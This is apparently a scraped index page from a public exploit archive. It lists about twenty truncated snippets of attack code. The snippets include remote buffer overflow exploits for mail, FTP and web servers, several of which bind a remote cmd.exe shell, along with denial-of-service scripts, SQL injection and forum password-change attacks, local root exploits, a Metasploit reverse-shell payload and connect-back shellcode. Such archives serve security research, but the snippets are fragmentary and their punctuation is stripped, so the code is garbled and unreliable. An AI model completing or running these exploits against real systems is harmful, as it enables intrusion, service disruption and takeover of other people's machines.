Mercur Messaging 2005 - IMAP Remote Buffer Overflow

!/bin/perl tested on win2k server SP4 English ATTENTION! If you have an another valid account you must change the offsets this is only a poc use IO::Socket::INET; my $host = shift@ARGV; my $port = 143; my $reply; my $request; my $user = "test"; my $pass = "test"; my $nop = "\x90"x8; my $nop1 =...

CA BrightStor ARCserve Backup - Message EngineTape Engine Remote Buffer Overflow

CA BrightStor ARCserve Backup - Message EngineTape Engine Remote Buffer Overflow source: https://www.securityfocus.com/bid/22005/info Computer Associates BrightStor ARCserve Backup is affected by a remote buffer-overflow vulnerability because the application fails to perform proper bounds-checkin...

QK SMTP <= 3.01 (RCPT TO) Remote Buffer Overflow Exploit (pl)

No description provided by source. !/bin/perl http://www.securityfocus.com/bid/20681 tested on winXp Pro SP0 English/winXp Pro SP2 Italian/win 2k SP4 Italian/English return address is universal bind a remote cmd.exe on target host on 4444 port; based on expanders original exploit credit to Greg...

QK SMTP 3.01 - RCPT TO Remote Buffer Overflow (2)

QK SMTP 3.01 - RCPT TO Remote Buffer Overflow 2 !/bin/perl https://www.securityfocus.com/bid/20681 tested on winXp Pro SP0 English/winXp Pro SP2 Italian/win 2k SP4 Italian/English return address is universal bind a remote cmd.exe on target host on 4444 port; based on expanders original exploit...

acFTP FTP Server 1.5 - RESTPBSZ Remote Denial of Service

acFTP FTP Server 1.5 - RESTPBSZ Remote Denial of Service acFTP 1.5 REST/PBSZ Denial of Service author: gbr mail: gabrielquadrosathotmail.com use IO::Socket; if!defined$ARGV0 print "Usage: $0 ip port\n"; exit; my $sock = new IO::Socket::INETPeerAddr = $ARGV0, PeerPort = $ARGV1, Proto = 'tcp' or di...

PHP Command, Double Reverse TCP Connection (via Perl)

Creates an interactive shell via perl This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = :dynamic include Msf::Payload::Single include Msf::Payload::Php include...

iPrimal Forums - adminindex.php Change User Password

iPrimal Forums - adminindex.php Change User Password !perl http://ipigroup.org/downloads/forums.zip Bl0od3r Germany shoutzz to all members of dC3 crew ,matrixkiller,eddie14 special to str0ke use IO::Socket; if @ARGVnewProto="tcp",PeerAddr="$host",PeerPort="80" or die "Error"; print $sock "POST...

Webdrivers Simple Forum - message_details.php SQL Injection

Webdrivers Simple Forum - messagedetails.php SQL Injection !perl use IO::Socket; Download:http://www.thewebdrivers.com/forum.zip By:Bl0od3r Germany = if @ARGVnewProto="tcp",PeerAddr="$host",PeerPort=80 or die "-Error\n"; print "Connecting!\n"; print "Getting Data!\n"; print $socket "GET...

Firebird 1.0.2 FreeBSD 4.7-RELEASE Local Root Exploit

No description provided by source. / DSR-firebird.c ------------------------------- Tested on: Firebird 1.0.2 FreeBSD 4.7-RELEASE This is Proof Of concept code. bash-2.05a$ ./DSR-firebird Firebird-1.0.2 Local exploit for Freebsd 4.7 by - [email protected]...

SHTTPD 1.34 (POST) Remote Buffer Overflow Exploit

No description provided by source. !/usr/bin/perl -w SHTTPD Buffer Overflow POST Tested on SHTTPD 1.34 WinXP SP1 Hebrew http://shttpd.sourceforge.net Codded By SkOd, 05/10/2006 ISRAEL details: EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C EBX 00000004 , EIP 41414141 , EBP 41414141 ESI 00BC4358 , EDI...

mercur-login.pl.txt

!/usr/bin/perl Tested on Windows 2k Sp4 Italian and English version and Win XP Pro SP2 Italian and English version Perl script based on Sami FTP server remote exploit by Critical Security http://www.securityfocus.com/bid/17138 acaro at jervus.it use IO::Socket::INET; use Switch; if @ARGV 2 print...

Mercur MailServer 5.0 SP3 - 'IMAP' Remote Buffer Overflow (2)

!/usr/bin/perl Tested on Windows 2k Sp4 Italian and English version and Win XP Pro SP2 Italian and English version Perl script based on Sami FTP server remote exploit by Critical Security https://www.securityfocus.com/bid/17138 acaro at jervus.it use IO::Socket::INET; use Switch; if @ARGV 2 print...

phpBB All Topics Mod 1.5.0 - 'start' SQL Injection

!/usr/bin/perl print q / \ \ \ ,, / / '-./.-' .--' '--. / / /""\ \ \ SpiderZ ForumZ Security | | Insert URL = without http = ; $server = ; chop $server; print q = Insert directory = es: /forum/ - /phpBB2/ = ; $dir = ; chop $dir; print q = User ID = Number: = ; $user = ; chop $user; if !$ARGV2...

Mac OS X <= 10.4.7 fetchmail Privilege Escalation Exploit (x86)

Exploit for macOS platform in category local exploits =============================================================== Mac OS X kevin-finisterres-mac-mini: kfinisterre$ /usr/bin/fetchmail -p pop3 --fastuidl 1 localhost -P 1234 Enter password for email protected: sh-2.05b$ id uid=501kfinisterre...

Apple Mac OSX 10.4.7 (PPC) - fetchmail Local Privilege Escalation

Apple Mac OSX 10.4.7 PPC - fetchmail Local Privilege Escalation !/usr/bin/perl getpwnedmail.pl http://www.digitalmunition.com written by kf kflistsatdigitalmunitiondotcom This is a canibalized version of "Kansas City POP Daemon Version 0.0" - Copyright c 1999 David Nicol kevin-finisterres-mac-min...

newscientist.txt

We from Black Box Magazine - Underground Inet-Security Research -- http://bboxnet.mine.nu found Cross Site Scripting Vuln in http://www.newscientist.com/ Write this example in Search: "...

radlance.txt

Discovered And Coded By Mr.CrackerZ Exploit Code !/usr/bin/perl Discovered and coded by Mr.CrackerZ Security Team Contact me [email protected] Usage: radlance.pl Google: Powered by: RadLance Gold v7 Tested Under RadLance Gold v7 Local Inclusion Exploit Example:...

zawhttpd <= 0.8.23 (GET) Remote Buffer Overflow DoS

Exploit for linux platform in category dos / poc =================================================== zawhttpd new PeerAddr = $ARGV0, PeerPort = $ARGV1, Proto = "TCP" print "Attempting to kill zawhttpd at $ARGV0:$ARGV1 ..."; print $socket "GET \\\\\\\\\\ HTTP/1.0\r\n\r\n"; close$socket;...

linux/amd64 - connect-back semi-stealth shellcode 88+ bytes

linux/amd64 connect-back semi-stealth shellcode 88+ bytes. Shellcode exploit for linamd64 platform include include include include include include include / usual rant here.. this is just a doodle.. i was curious about the amd64 and since i dont think a simple exec /bin/sh is worth releasing i gi...

FlexBB 0.5.5 - '/inc/start.php?_COOKIE' SQL Bypass

!/usr/bin/perl -w FlexBB : DONT FORGET TO DO YOUR CONFIG !! DONT FORGET TO DO YOUR CONFIG !! DONT FORGET TO DO YOUR CONFIG !! use IO::Socket; -- Start -- $host = "127.0.0.1"; $path = "/flexbb/"; -- END -- $host :- The Host Name Without http:// | exm. www.vic.com $path :- FlexBB Dir On Server | ex...